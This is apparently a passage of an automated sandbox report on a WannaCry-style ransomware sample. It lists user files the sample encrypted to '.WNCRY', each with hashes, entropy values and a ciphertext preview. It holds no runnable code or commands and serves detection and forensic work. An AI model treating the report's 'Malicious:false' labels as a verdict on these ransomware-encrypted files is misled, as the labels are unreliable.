                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....^sV.......v+.]....N(.j.....j...d..L.....).Y.M)h{.J;I@9...y.T.c3...[......Y.a.j_..s.2t......DFVg..1z./3..p.....#`.....c.3.E.v*G.E..4..)...I1.H.c.G....<.:@c......;.b.:...T...<{....4_...E.......l.:.?.i.?....?~..\l..n...R..Z...w..^H.:..........[............#;.L.....7.k.<...[....LSJ..vf..."o....00XG....tf.U.[E5j V.H.\....r[<%.Xr..p....P....iy4..=...T........i..............cW..E.V.../}.3..OP.....s...`....*..Z...(sU.)....*.....vt9*......o..E.[.H..Tz:[.....R./a.U..j......cY6...O.).H.,..4.z.G\=..s.#g...n.T....}.^.........&...4O ..*..gOJA.&|.k......q.}..3..J....?}2.bv..oO...U.B.mk.&fD"J..n.R..[..=.6.N.4....W.m....r....e...&u.d...>...v.x.........*n3.........t.G.E......f.....xa.i....W.\.......Oo..Q.R.zhGt0.~..]@[O....Z..h.Y-vz.U........i*....hG..o-..J..%...0..so....2.=.(.B9&h..j..S..:k=.S.]8..N4-........M.w.~c..l.@.c......=].3..'...........l.w.3...#"b.VN...i}LX. ...|...S...Rk.?...|..>oL....5..X+......'.D$.nhbm.9us.".3)..,l9.;....._j.^

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\CZQKSDDMWR.xlsx.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.8250686949143695
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkNqPS6h/pE8vtu5RtWJXbzqlsJW/179gJ61R+MldGx4ckF9VELIKnBmkGh59AQq:bk4qG681ufYp6CY17iJcUjrkxQ907hWj
                                                                                                                                                                              MD5:D37AD1C94844D5E6B9DCF58AC89C966B
                                                                                                                                                                              SHA1:B27B776C4228AEDE3C5CD2AD51CF5B60ACA5DF60
                                                                                                                                                                              SHA-256:091ACFD1CDF779B9683042A9AB6B767837475EC47F977CA7EB557CFB241A4A6E
                                                                                                                                                                              SHA-512:FFA76C8A0C2E68B70BC5E76ACD2F36B1AA91E7A6DC49538E9AE998926EC48232578D10B50031E976750D1D30A40F12D1D41DCF828C92E9144A5A8434777635FB
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....YTs.V.L2.FA....4R6.....v..n.Bx......0..-...Wm...c)..-i. ...J.].i$J..R.3...}c}.4.<...<.%...).\u"......a........I@>..Gy....Kw.%".nRW[...}..dE.......7Ki.[..FSb1.FYx."....zY~.w.;..,..q..E.XH{?.L....R......C+..d...:f.r..g....QT..{.xb(.qrO.xo.?...............ro..?Pc.M..L.......5..1....i2....n.xZ.{..t..e.<..8.Z....ROQ..i5..~U...t1.c.D %F5.)X...w&....V!u....c..#...n~....*XPW7..e..?.T]....6..@.N.L.....y.?<.R.z....s..gd1?...&z....a..........2r..Q..%d...I![<q...^....Vq)....A...;.a.~..v.6B*1.....+..T6.g.-.....@:.....q..L.K<..F..AW.N.V..m...Y$}u.......~;........b;..U.#....r.....'..O...&.o<.(.,I........K... -..?...8.=..../mO.WB.n.h.lF..%.e...?.B:{r8.ai.R..`...Y..>... .v{..^.8.)..F%V..y..b...]c .....vv.B0..O..gw.s...<%..UK?..hse-..).$....&$m.N..Z...........]e.9m5[.q..ko..F..o.6.J./O.....C...$QC..X.cj#..w..=B....XE..<....._(...[...P@..!.Yk9S.>.F.g..#.".{.L, =".._.3o.~....H.@x..*...8-`%.[..8....i.|w.Z.H1..=..5.N.<.[..+....A.i.&T.#|.{S...u.s.O

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\DUUDTUBZFW.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.855808777231875
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk1tWtQmq6xXdbPXWyqHxBvORNrxq8AJJKAyxqVIKtuwYO:bk1tW3q6xXdjeHxFO7r2JMxqVIKtAO
                                                                                                                                                                              MD5:3F132A30225471C23B69DFD79C5919BC
                                                                                                                                                                              SHA1:6EFD22D58223C57664DD9A445C576A1F1BD4C56F
                                                                                                                                                                              SHA-256:047534CAA06958F1060C58B732EA32CDD5A03B545B7C3B894731544667EDB3FE
                                                                                                                                                                              SHA-512:CB6D9289D65FA1F28555E483A92146F7A3F053E8C67F9B2E1305E3E80007E045F18B9700BC892B8CEFE44D17CAFB1FD4AC9F6E30393C55E51659ED92311F9861
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....E.. ..m.E..Cr.......!.._....pc%..R9_............{....m..wG.5.&...#}..i..{.>O$"b.).qBXH.{...R>."...[y.$c..(...6...A/......7...*...K.....T......N.%q..@..:.......8.=q.Z9xg=......l...FA....R)l..Za..r.$}A^?C?#..;.|..>..\...v$.@.'.?.V.N.=*...t.1..!...2............(.cF.......&l.....3i.+..H....MZ{.w$.(..d.J#5\j9,.&Q8~YI.u..7...o.B...x0....I.....j4.qh.b\..!C2r7.....I.aV.$w.n@.....!v=.......L.G..S...S..M.....*6.o_.2S..z.)....|..&...1.^.S*."c....e{i..un..(dq.....>..z.h...]..].F.}B./....+.*...a..........+.+.c.....N..N.`|g<...N.$q.[.Q8p...<C[ ..].=.:............K.??e(O>i^...l.*=....o?........L(f.>ZP).]+.bTn.y.SH...u.O....`.`eM.N.!L.......B../.,.I....i.1...!~.=A.?X..l..0.u~.....;.n.1....^#)`L0.C..j.]0........H..../.....F...+V...n...D4. ..,Y').. e...Sw+....."I1;4.0vo......=zQo.9.Y..d...`+../E-D...u%[i......j..s....f.8.......M0~.l....$..;.e..c.}...F....`. ....f....yT..3F#..IZm[.0.A.J!.}..Z0....?.7o...8HT....p....@.v.m.]..h....`ux..t...n..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\EFOYFBOLXA.docx.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.825953700200299
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkh/SydeegUMaGNYBlddxPYuvq4vrV2lZcH8z8Hmq2esAIpBnkZo27:bkXeeUZNkHYuvhvrs3PzK2HAIM7
                                                                                                                                                                              MD5:18526599A343A1FC7002BD340845739A
                                                                                                                                                                              SHA1:7577CB7E52AAEC563DE87052ACDDD93DFA6C4790
                                                                                                                                                                              SHA-256:5B4B512CFB247F1FEE5C822C27723DD5185B17FD8617D3033DCB9E42A0C35F4D
                                                                                                                                                                              SHA-512:9C0FA43037AC3F6E1E892AED15CBAADC95AC48F47DBCD5259579F7B86FA8A9B4CC076C53478628CEADE3F979021F674A3572069959ED4FC047C94C26F661155C
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....8..P+...4..mw9..T.Ee....{,..*g....K....CR4....h%....x....0IRc.Q_r.H....e....T(..2.p........1.*..I... .z.k......N..".J....p..u".w!.\..1*..........l(.9.G..!..J.L/.o...E`..\%(.lJOA..z..Z..h.E........7.......R...s.....B....{..m..gmB......G...P..%............L...D2...,.7g..rRH....UZ.L&..".uiL!.sj.Z2..y..U<]....o.VL)..A...Z. ...b.V............<../..#r%p.&I...YN..[...V/1.}.....h.V..e?...^...GE...!f.-..}3....Z....`.....\[0S-..m.s....6^....0.7..%...!...p.kx`\.....=....gB[.....7.. .F.P....*.OO..7.."....C.w...Y2E_.\ .d....<.W).G......._..J...k..6v.F.;....7&?.b...R..NY.p.S.".....`.....IO.y.............?..........5z..a.n.....j&....>.qzka...{&..((.....x.p...l.).0...j8(p...;.1...[&..n.z....J7.<C..F....).D..O.K.lT...qt.;.....Vf<Q...x9..au8A.#..0Lk>=v.7..*.g.W..|....i......q.....TB.k.!...(c..o&&V \...ps.s..OX<..?.=.'j...@........q.o."4.Z...@......+X..AX..........O...$.F.|.b+....%.C.D....F..u.[.,t.G).>.T....xfod..<.).p.C.w.P..PI.I..46R....L.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\EIVQSAOTAQ.jpg.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.84009120456313
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bklzglH5UBuRmVp2xp4GTDzKMgWlDoRVHMNHT1mDXch6wCpvuKgEYaNHrWWMAlfX:bkFiZzAVp2j4CDz1g3RVHAtbEgP2HrWm
                                                                                                                                                                              MD5:C123643C17AB0DD79E0C29E70F6D1049
                                                                                                                                                                              SHA1:20E940F9CBD2F6E7430333A06D6E7EF30FBD08EE
                                                                                                                                                                              SHA-256:9A5779956D1C970109D52BB1ABAF832CE98E3087399E0B71FB06EEBF0BB3FF31
                                                                                                                                                                              SHA-512:71D8DCC6AD13DDD05763BE02EDADF81F2189839182F3C8E2191D6E254311DC50A44B0214DC2F36A6B1FE8ADEE8CA7088D590557CCA9CF56529E57291902F6453
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......t.&.}.... l.Q..g.M.k.I.,.".Tx..........=.w`w.K....m..f.......8Y....xni{..W@..L.[./pYK.^..............ai.i`..]<)TrR..L....hGz...*.Z..LD...q\PS.7..+..A8.k..>(...9!..6I.Kk..|.2.a...q..T.XM....D%F.@..N...1C..@..2...M..tU@E..V.$b.....t.h....4....pSa.............eNA.4o.Y...<..SP. .sm..h.|..L....$...B...-..o....;.J....o^...kI.a.`vd>\...Y..uP.H.:CU...F.G...%.P:.......g..u..5.....I..is ..3..KvK...Z.......S...K..`...P....`^..ER....../:.....o.D..@.^...h....|%`CAr..0. .{.b'.\../.........6...M...i,..k../..J.u;.Z..X..3s>.N.=.$.F..O7._..e4#.?.Uj/..ZK.bu*D..".3...0.F...L.DT...m;WJ.*...{..tC.`..yr..k.'..O}..Y....0..<n.j...T.......E.!w...C...k.j...F....z...\>.I.QAu.:+=.D...N}...7w.S.......ah..SS[H...&.w....W......>.....`..._! .....m6e....|.?j..U3uTH.(....|.` ..%..Y[.....5TH..G.g.ND."..yO..K.......x....]!.*..ejv...........\.O.X.........i~......}mm$qD....R.... ..7u.b....t1M......^}...:...o.7.>}3.-.[.....w.3........@-;...l.{.z..'JwTq...?..CG6.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\EOWRVPQCCS.mp3.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.8622020562149855
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkpXDDTGkp6iDlDSS9ZVNAZ/u0Cq+nkZgf/YxlNVws9VPTSSrz86VGMQM:bkpX7GdUSSfVNABpkkZOYxl9wsA6Fl
                                                                                                                                                                              MD5:B225C17F59CECA885E36DD24346C46B0
                                                                                                                                                                              SHA1:9F0AEE03A59B6E46F875911E6B096ED9B204725B
                                                                                                                                                                              SHA-256:01E965122F019C9AED5A3D830D7213DBD41FCE65250D974CB2B1AA51130AAF15
                                                                                                                                                                              SHA-512:386E5267F3E613C3A9477E91078C8D9743B069D300960304A3D0995FE35D7A9192E3207E54641042F22172B1CEF4E163707E01943AC3B351677AD81390131C1F
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....]+......f.I.!.w.3Q^).Z...%CH.k8...k......=G.X.. .....D....3...>^;..>3C.R.-.Nqf;.n...jj.^....C$.L....M/..O.+.TB....,.^........`.w.._.64.......Or.ka.;S.(. %.~G....2....r..K..S....i......r...o...Y).|~...F...+..V..sA..$......2...^d.F.Z..Au./Q7%................:b.:...`x4...~.?....c......S^~..........b.u.}.}./........,.O..)H.....}.....$*Y.yp..!.w..<.N.P~..n....%!.....J.@X.[?.Pt...*E.w$.......>/.b0...........I.9w.3.3c.).9.q./&.......=.....'..s..@.*.i..%.I....X1.d.F...}..rF.H..|..V.G.(....S.u5......._......".Xb8..t.._..#..Z...3zv...........z..n....+.V.jLF..UK..-....5=......(.s".[...R&D%-E.A,F..q.<.E.....nc:}.P...4.p..7-QK....P.$g..w..>.J)..=.b.....w|3.a....^..w..lo..Ny..'.wU..v..~.9...d._._@s.Hq6.......f1....p.....r..z6.4..g.....^W..d..?H.......v...'GPf..p.......M..1].....@....b.....a...r.]..c.,3.d..+.8..."..#tS....../..N.....WN `..,8..<l.be.q(HZ.......m..)5....9.y\..S.{....\...#/.#.D.L~d.....#.=..9.P.......D.W|.A\o....}..k.X.6.0.3.a.O

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\EOWRVPQCCS.pdf.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.847660423706141
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkdBDGL4QsQAMf7loRU22A82RMnHdWANYy++gA+0r6CScyLpBHuyyakKZ:bkdBDGL4QsQNx2K9WCYybgAfrZSxPuyV
                                                                                                                                                                              MD5:E5AD9555ED6875706ABBE89D7757AFC9
                                                                                                                                                                              SHA1:FD00CB37BB396343A6F2F03C219CD466516A8723
                                                                                                                                                                              SHA-256:4AA79421D8BCF8494FF24FF8D8B70DBFCC94AE881D3D66D33176BC19121BFDA5
                                                                                                                                                                              SHA-512:3B39AB0019D166FC0F2F1F7BB5E4B441B49711915350D7A0788705B2F3CA45085C345899D450BA683A8CBFABF31E04AF2925A95762AD01A868D15360F3858E18
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........._......B.q....$....}~%.."}\....r.`~U=.iH....ju.;.K.....BU.....h........].........3.h.......i....aH...y8h..g....4i..y.4..p......_..b...t.1...SgD.6.\.*...<q{...v.......$....B...#p....v2.,.....|.....E..!..3.X......m4W.f..6K.....zh.vdS................\^.'.42,.8...Q..kB.7...`:....1..0r..hb.N...X..WE..u.......'>.BG......'+...iD..n..K..Kx.....nb.p.8ftE.?..5E....#x.W.1H....(....a..O..}Yc.8..$C....+#9V.x...'..1.K.8W.gun.j.u..].j..z...;H...3......W.<..h...X.Z.=......zH.6...B....M..U.q..<.....4..T..uK0p.}./.......X.Th....1....]j.....o.o%..h{..Y......)+..<.-..b@ .S#xng.Z. ....Nk....../.....,...K0....'..\.;.i...wU^.]...-:E...o.....,/n...x....o.O.s..dx1...I..8......oR}.V.....u.|.x....{..1.u..0.g.........28.s{...c.....YW.r[....t.~zcI.^y.%\.V.R..S.(.tnU..J....r....$....n.?P.;.4.`.GAj.D....i#.(......VX...7."....y.6X...+|..BG..W........y.,F\T-y.uy....-]...b4.....p,.....Ww....Xm.l.R.2z...:X].D;T..........+Z....R[....d............Q....2

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\EOWRVPQCCS.xlsx.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.841455402905122
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkEt/sMWuIiBK64qXgLxoWtHLuu4LHEm6/LozMdMl/GM5pKDv4xYww2pK5HeD:bk2sMWNiBZXgFoeuDEm6kx/GM5pKj4xt
                                                                                                                                                                              MD5:64AE8BF81445D3A8BE1E393408C28EB2
                                                                                                                                                                              SHA1:8E7290AA4CFD33293609902977FBDEE2C4FC9B21
                                                                                                                                                                              SHA-256:717D09B1CB15AB82170BFE88F88C8461F3326D7DF71B0ADB4F8F5670F5D5E447
                                                                                                                                                                              SHA-512:0219173438982F60255A4CC07C67AD80CEA7E89BBFF6E33B5509B95EA6ECF8A0F16425358BDB336722D707E95CC7527F7CB2679C11B0C3ED3DF851A859C8C436
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....Y..@.._o..S..O2_.....4.R.....I....+.]....n.k....R...g....UP..!M~.\...0.....(..[...0.I.DZX.x/I....DK>U.$>.,....8.S..H.;K'.l..].;F!..|.%j...5p.W.gu..E.f.>..<.......Fo.U_O..Eq..j.J}.NW..QIv.z(...6.._.z.w...i.8.l...Y..U7t.Z1..(p..]......%..l...............5..)$.pX.v;.z..ko.....r......l.../N|.......;...r...s..i..^..E&..}.Gh>.ncX4{.*Z...f.Kd......1.e..K.AU..j...n......H...J..Ds..z....o.K...@0kR...AU..(..h|.`....f.;.g.z..!.g.Y..\.t,.$]..}......i7?.RnN.v....):.]w..$.j....x..~.p..[o._..-...i.+....|....N.x.....4....d~wg./.L...*l..8.U.@....tC#.$..h{4...0...x.>.}..m..$0\....'.I=."..<......v..:...a.Mb ..........3}..Yi+...?y.:.l."..m...f.P.#..G.E...l..Z........%p..G.t.Z.f..i.^.@Y6..*....|..*_.{.B..G.+W'....0r39.....RZ.~/5..?.s...?6.P.1..k..Y*.P.<C}.^...j7.}......n..k..NhLs.Yyhh....c.-...~1.z.o,6Qh:.=..m......}.Zl.u2R. .....2...x...`P..#..wC.<[$..&....;2i4.i.....xt..rH...Tx.f)&.p.`O7)....#......"P...S..].c...}.K@m....<+Ra.D..#..i...

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\EWZCVGNOWT.docx.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.857991858690527
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk2dbEqXa95rhwIohXUIslJZgx1wtfO72RUiGwIoZvQnN2:bkCgqXa9FhDoZ2l3gk872Rdn5w2
                                                                                                                                                                              MD5:F95F23428EDA55DCE5462ABDA8EF9C5F
                                                                                                                                                                              SHA1:D33E212BA343205B396F6B1D8B3703A36144BD5D
                                                                                                                                                                              SHA-256:7CA96544E124E569E6954CD99AE192FE7A9DC367CCFBCD2626CBC5B145A48773
                                                                                                                                                                              SHA-512:A5C0A0592284A13AFF9D5FF264B316EC817A142492D5F473A20ED7941B77CB734C685783652DDE8B79CA88B2707E3F32B0223F57EED82B28057AB47B5C90E79E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......H-._..|v...f5.....o.&..I..z..w.#.Ne.B.z.7...k!..x{H..........3;.\Z..9o.....e.....4&'.U..o.U..?....v..|"..3......M[.1v.9.h.|@P....._...E......Ppd.Im.t...Y..._.}.X.Z.=.l(...ID.U!..e.`..K.....xo.7.-.h...d...Z5).J...+....q.Ote..&.{'.^j...................j.<........b3k@..j....)_..W\$....j.......ts.......nE..)w84.*.~..+.^..a..|T.&.H.|.e.@3..O....X....|..2.rM.P5..$h...5...9.W.s*..+...1...._e....+.....1....b.Fey..@.~....B`..?.tPC....[.v....Hipv..|..>4.?..d.p.....y......vL.s..y....7.j....0.v|...J..SoF.O..T.[...<]m.....z.z&D .g.3D..5...R....t.\.....Xn..N$....cc..0c..&.L..s.p]i......:=.'.......-....[8..)5....F.'`.q....j..c.<.O.....{.>..,l.F...).L..'>`U%..zmJ..^...7.jH.,.Hb..C..c......[)P....0ZD..k...VG.p0.|..........2....F!.@.....s..1.^.0..<G..,..$.....:..[.....,.C..->....|G.....2...0Yf........2.................Y..(.hk#.9..s.!3.9cJ...@Eo*...{.(h......UvY.q...........@..i.93.O.C.A.$J.D..$*.=.#WA..SAL..dQ...T.=.+u..o........}.$.Z.[c

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\EWZCVGNOWT.pdf.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.807835615298432
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk3s1J3HiTffWoY8Z9aY0vMQZQy5Tf4zPWZtUk4HmDNsZgK2Lr:bk2JXyfuX8ZrQD5qPCtUHMqC
                                                                                                                                                                              MD5:848E927094F14CB327E2BFC555ECE7FB
                                                                                                                                                                              SHA1:A2F549CE8BE9421C814F2A73B62F3C2E5FDE3DB8
                                                                                                                                                                              SHA-256:59169A57D32E584BE53936FEEE74B986FE2BA2C4BDE0F34BA38DD8715F68C98B
                                                                                                                                                                              SHA-512:57940701E81B26906F882233B1C45EF9664C802F154A49B96F1939212D5F2DF7F229A7A28AF56C9455CE57FA007CFF7973E2F19E29B64AB20DFA97FFE82E8CBC
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....M..c..W..s@N....?......S..@..9..>a....J.k.s.....nC....}...{~r.G.....c..)...FnZ..oQb.# D..6;.kx...8_........Bv.M.C+..fs...wy0.....V..;............=.L1.s.`mB..Ha.dJ..z...'b..6.N..O.O...L...S...F1. ..pVE.'.V.......;\..[F..[.......p.......3.;............l...B.jo.i..(.:..\.._.F..I<p...D(j..*v...8...D......x.........A0...1.Z.4K.;....9.a..p..IaQ...\.6.w,.CB....c>.*...f.J`z.f.kk........t :...5..Ab..6P.@+....Bq....KJ.OC.kr..o~y.\9...I.....:.....7....X.,.....h...B....g.~h.c...{G..N..z}.s...u......^C....t........_...W....5....W..k..Gi6..c.;.}.z.g....ni@1.B...I.m.@\3x........~CZ..&.j..<...z.9..T.*..t...E#........+tn..._.F....r.h.J..3.....W.u...fWd..Vg.....\..H.8?......!J...}I..D...Bg.p./T\...\R/...7...H......=.)..V{..}.K.Ob..LR'.......;.S\....*....a.G..5,X.F.A\..........J$.l.._.6Aa{.X.g....P..F..'...8,..6..-.).1rN...hf.nAP.r.^...8!S..O1.5.....\.CL-.Z.I.....+(e.V....#d.......8.\.+)........!8...d.5.q.:f.......~..n89....fS.?.....r.9

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\GIGIYTFFYT.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.844827358615505
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkJt6kOHS8NdtJGurfPRSh3O4hLPjjUdmylfdKhtILoVwAxRVSdT:bkPzGJGChc3thL7jsdl1KhHSdT
                                                                                                                                                                              MD5:0A2D7C609E967B3394B26AD8231025CB
                                                                                                                                                                              SHA1:F4B9B2BAB9469197A8B2D28CDE45AC3E75610916
                                                                                                                                                                              SHA-256:AB9169627CF8C6F75617BE53C74458867813C3EDC030E51621B7F43A5E23B002
                                                                                                                                                                              SHA-512:AF5C51688BC056B03C6AF4196100C786CED3C998839191338EEF477AAB045DC023D58A18AF83BDC98CB9093E86A890B1D8E76369C96FFC101A70CD097964B891
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....K@.Ru$0.d.=......al.L..plx.%.x.&....j..dBIv..{..@..J..x.r(.\.D.e;....L;...;b=.......VJ..O..i..0u%6EzP.&#..,J.... ...g.......`..+0..p+.....S...;.=.].[.7J.N..?_.!.n.L....g.r.\O..@...h....4..R.-#kO3..3.E....D........c.,....cu.......h.....,...'................:............. ...!.L..J%S..*..W..L]....3.}T...i ..uEN|I...JP..".wZ.@.w.....XI..4C}...V..e.udL..v*.v6Jb.4...@..j..3X..L:....P..l ....D5.......Z....c...!.uX.hmK.......(.i.........E..X........`~...U..BG...`..R...X..5...N!...9...*.cn.#..d._.Gy...$6nM...!.}..Mr.F...v...a.R.U.w.f).3...s.......g...L.iU.......Q.."V.T.......I......6..'.W;..I 6.g....H....@m.^..3.Z.qQf.*..P.3.....%!...>..H}PU.`..fo*L..>`8..A....B....e........+.b ....x...J'..........42.V..u.G.p...c.L..U...w....6.A"ER.Q.k...d@.7..X>".8f...B....rO.dR..`....{<s.h.F}..Q..z..J...l..........UA...7.Q.j../..R....d...k.23u.;....]...X/.X.......<s1.M.....y..u..B.V.i`...-..^@.fQL..C.Y.B...M..5....+\.d.=.S...2.4.......r.jO

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\GJBHWQDROJ.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.856420696347142
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk/wONLlMoAVA+BeLaSFgNPbAOmvp3w7jPkEPl0SUStN85/L6/1cRcD0qF8:bkFRMHzBeLwNsOmv1w7jcEk5/+NceD0L
                                                                                                                                                                              MD5:FA018EE6B5244431DA1F0849C9B561EA
                                                                                                                                                                              SHA1:454B8A0652D0224E93AC317F531288F978EF5722
                                                                                                                                                                              SHA-256:F591CE84A7C64C8834213A36132CA01F106F48D1D7CA85F3C70D06A43EF019D4
                                                                                                                                                                              SHA-512:B858CA8A95AADB0D3976B97D9EE33A8C8557152851B4C70D1D2194F18120289DD9837FE404DE19E39A0FE0C87BE96E2DD355448E30A36DA7B0BA260E2282C452
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....+-.x..+.H..|d_-N.. .?.A*..T..4.........%...rV=...Z........cZ..t.j..-...P'z.!..r..Id...,.....x.a.4.....xzEc....|o...@....%..E..Z..<.....1o'.C...@..h...j).s..#....f.....x.x....D.>T.5.V..:...Q`2.N.^..:....2.r...H\...@n:.@U|6p.._....D.....S..@r..:.j............DK#...$.u.w&..t..+....?....)K.E...T..B>b'4,..]..b...u..9....i.N.+.+p.{x....,Uf..i.e.s...+...q..;2.*.j52....@C.t. ..>.S..k.q........C.....H.....D3N....gA...,...$f..R..X.;....^.}]4...$.)GV..6..K....|.8.1.d.d..MO;y9(.......R..N}KCG1..ny.0.Z9...D...!.R....u.#dE?.....+..B..q!"}].... L..../*.)jleu.y.....u....gq...p..V}w..g..!..cAeE...!*.X.w...[K=T>#...H.&./D....%....7u.L..D..n.y.......qtR8-...8.Pk..G~.^d.. +...A..Qu..Z...y.t4....rP...n...}^.r....0........`.T.L h>J.Or72..t.S......6.O&~...).n6.^\&...b.a..<.D...".#....Q.I_..}j3L.?H.:}y^S 2Q..#......V..K.Rg.JP0...T,...a..y.[U..>..T.*.]#;....9O.ZjN..Y...1.)...i..d.!$gG...e8.....(W..6.`..........+...%9X....-0TnY.....m3.s\.DK.VD..?.m..A..P

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\GRXZDKKVDB.docx.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.851271021846449
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkwRzzSOWqOYhABqkXlRt1iniRITZVGK+q1LOGr9YbF7lVSkzzgH1xzrlW3NG/oT:bkwRzOqhAzSnNZ8u4EYhbnUXrlBwH
                                                                                                                                                                              MD5:FA1C02E50E94ADE2A0B7488721645D82
                                                                                                                                                                              SHA1:0D66EDB13752A288278317441AF251433326C982
                                                                                                                                                                              SHA-256:97CE198A90BF64610B1C99038A58787FBF732A357727F2948CCC361C97635CDA
                                                                                                                                                                              SHA-512:D10CD6E424F358A8421B5B8F1694C08C27A3B902920DA7C76517036DE3F0AB168791940BEBE23E60943E52A778112542C844F8938EF5BF8C08CD0940A2E8B1F4
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
